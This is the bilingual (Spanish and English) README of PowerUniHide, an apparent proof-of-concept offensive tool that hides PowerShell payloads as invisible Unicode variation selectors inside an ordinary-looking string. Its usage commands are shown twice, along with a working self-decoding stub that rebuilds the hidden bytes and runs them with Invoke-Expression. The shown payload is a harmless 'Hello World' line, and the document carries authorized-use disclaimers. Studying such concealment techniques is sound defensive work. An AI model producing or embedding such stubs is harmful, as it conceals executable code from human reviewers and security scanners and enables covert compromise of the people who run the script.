██████╗  ██████╗ ██╗    ██╗███████╗██████╗ ██╗   ██╗███╗   ██╗██╗██╗  ██╗██╗██████╗ ███████╗
  ██╔══██╗██╔═══██╗██║    ██║██╔════╝██╔══██╗██║   ██║████╗  ██║██║██║  ██║██║██╔══██╗██╔════╝
  ██████╔╝██║   ██║██║ █╗ ██║█████╗  ██████╔╝██║   ██║██╔██╗ ██║██║███████║██║██║  ██║█████╗
  ██╔═══╝ ██║   ██║██║███╗██║██╔══╝  ██╔══██╗██║   ██║██║╚██╗██║██║██╔══██║██║██║  ██║██╔══╝
  ██║     ╚██████╔╝╚███╔███╔╝███████╗██║  ██║╚██████╔╝██║ ╚████║██║██║  ██║██║██████╔╝███████╗
  ╚═╝      ╚═════╝  ╚══╝╚══╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝╚═╝╚═╝  ╚═╝╚═╝╚═════╝ ╚══════╝
  Unicode Variation Selector Steganography  |  PoC Tool  |  Offensive Security Research
  by c0nfig17  |  https://c0nfig17.com/

---

PowerUniHide

Herramienta PoC que codifica payloads de PowerShell como selectores de variación Unicode invisibles (U+FE00-FE0F / U+E0100-E01EF) ocultos dentro de una cadena de texto portadora. La salida es un script auto-decodificable que parece una simple asignación de variable. Puedes obtener más información sobre el contexto en el que se observa y replica esta técnica en mi blog

Uso

# Basico - genera un script oculto
.\PowerUniHide.ps1 -InputScript .\payload.ps1

# Salida en una sola linea (one-liner)
.\PowerUniHide.ps1 -InputScript .\payload.ps1 -One

# Texto portador personalizado y ruta de salida
.\PowerUniHide.ps1 -InputScript .\payload.ps1 -CarrierText "Hello World" -OutputFile .\out.ps1

Ejemplo de Output:

# PowerUniHide - Self-decoding stub
$_c = 'I󠄔󠅝󠅕󠅣󠅣󠅑󠅗󠅕󠄐󠄭󠄐󠄒󠄸󠅕󠅜󠅜󠅟󠄜󠄐󠅇󠅟󠅢󠅜󠅔󠄐󠅖󠅢󠅟󠅝󠄐󠅅󠅞󠅙󠅓󠅟󠅔󠅕󠄑󠄒︍︊󠅇󠅢󠅙󠅤󠅕󠄝󠄿󠅥󠅤󠅠󠅥󠅤󠄐󠄔󠅝󠅕󠅣󠅣󠅑󠅗󠅕nitialize-Module'
$_b = [System.Collections.Generic.List[byte]]::new()
$_i = 0
while ($_i -lt $_c.Length) {
    if ([System.Char]::IsHighSurrogate($_c[$_i]) -and ($_i + 1) -lt $_c.Length -and [System.Char]::IsLowSurrogate($_c[$_i + 1])) {
        $_cp = [System.Char]::ConvertToUtf32($_c[$_i], $_c[$_i + 1])
        $_i += 2
    } else {
        $_cp = [int][char]$_c[$_i]
        $_i += 1
    }
    if ($_cp -ge 0xFE00 -and $_cp -le 0xFE0F)       { $_b.Add([byte]($_cp - 0xFE00)) }
    elseif ($_cp -ge 0xE0100 -and $_cp -le 0xE01EF)  { $_b.Add([byte]($_cp - 0xE0100 + 16)) }
}
if ($_b.Count -gt 0) { Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($_b.ToArray())) }

Warning

Esta herramienta se proporciona exclusivamente con fines educativos y de investigacion de seguridad autorizada. El autor no se hace responsable del mal uso o los danos causados por esta herramienta. Usala unicamente en sistemas de tu propiedad o sobre los que tengas permiso explicito por escrito. El uso no autorizado de esta herramienta contra sistemas ajenos es ilegal y contrario a la etica. Al utilizar esta herramienta, aceptas asumir toda la responsabilidad de tus acciones.

---

PowerUniHide (English)

PoC tool that encodes PowerShell payloads as invisible Unicode variation selectors (U+FE00-FE0F / U+E0100-E01EF) hidden inside a carrier string. The output is a self-decoding script that looks like a harmless variable assignment. You can find more information about the context in which this technique is observed and replicated in my blog

Usage

# Basic - generates a hidden script file
.\PowerUniHide.ps1 -InputScript .\payload.ps1

# One-liner output
.\PowerUniHide.ps1 -InputScript .\payload.ps1 -One

# Custom carrier text and output path
.\PowerUniHide.ps1 -InputScript .\payload.ps1 -CarrierText "Hello World" -OutputFile .\out.ps1

Example Output:

# PowerUniHide - Self-decoding stub
$_c = 'I󠄔󠅝󠅕󠅣󠅣󠅑󠅗󠅕󠄐󠄭󠄐󠄒󠄸󠅕󠅜󠅜󠅟󠄜󠄐󠅇󠅟󠅢󠅜󠅔󠄐󠅖󠅢󠅟󠅝󠄐󠅅󠅞󠅙󠅓󠅟󠅔󠅕󠄑󠄒︍︊󠅇󠅢󠅙󠅤󠅕󠄝󠄿󠅥󠅤󠅠󠅥󠅤󠄐󠄔󠅝󠅕󠅣󠅣󠅑󠅗󠅕nitialize-Module'
$_b = [System.Collections.Generic.List[byte]]::new()
$_i = 0
while ($_i -lt $_c.Length) {
    if ([System.Char]::IsHighSurrogate($_c[$_i]) -and ($_i + 1) -lt $_c.Length -and [System.Char]::IsLowSurrogate($_c[$_i + 1])) {
        $_cp = [System.Char]::ConvertToUtf32($_c[$_i], $_c[$_i + 1])
        $_i += 2
    } else {
        $_cp = [int][char]$_c[$_i]
        $_i += 1
    }
    if ($_cp -ge 0xFE00 -and $_cp -le 0xFE0F)       { $_b.Add([byte]($_cp - 0xFE00)) }
    elseif ($_cp -ge 0xE0100 -and $_cp -le 0xE01EF)  { $_b.Add([byte]($_cp - 0xE0100 + 16)) }
}
if ($_b.Count -gt 0) { Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($_b.ToArray())) }

Warning

This tool is provided for educational and authorized security research purposes only. The author is not responsible for any misuse or damage caused by this tool. Use it only on systems you own or have explicit written permission to test. Unauthorized use of this tool against systems you do not own is illegal and unethical. By using this tool, you agree to assume all liability for your actions.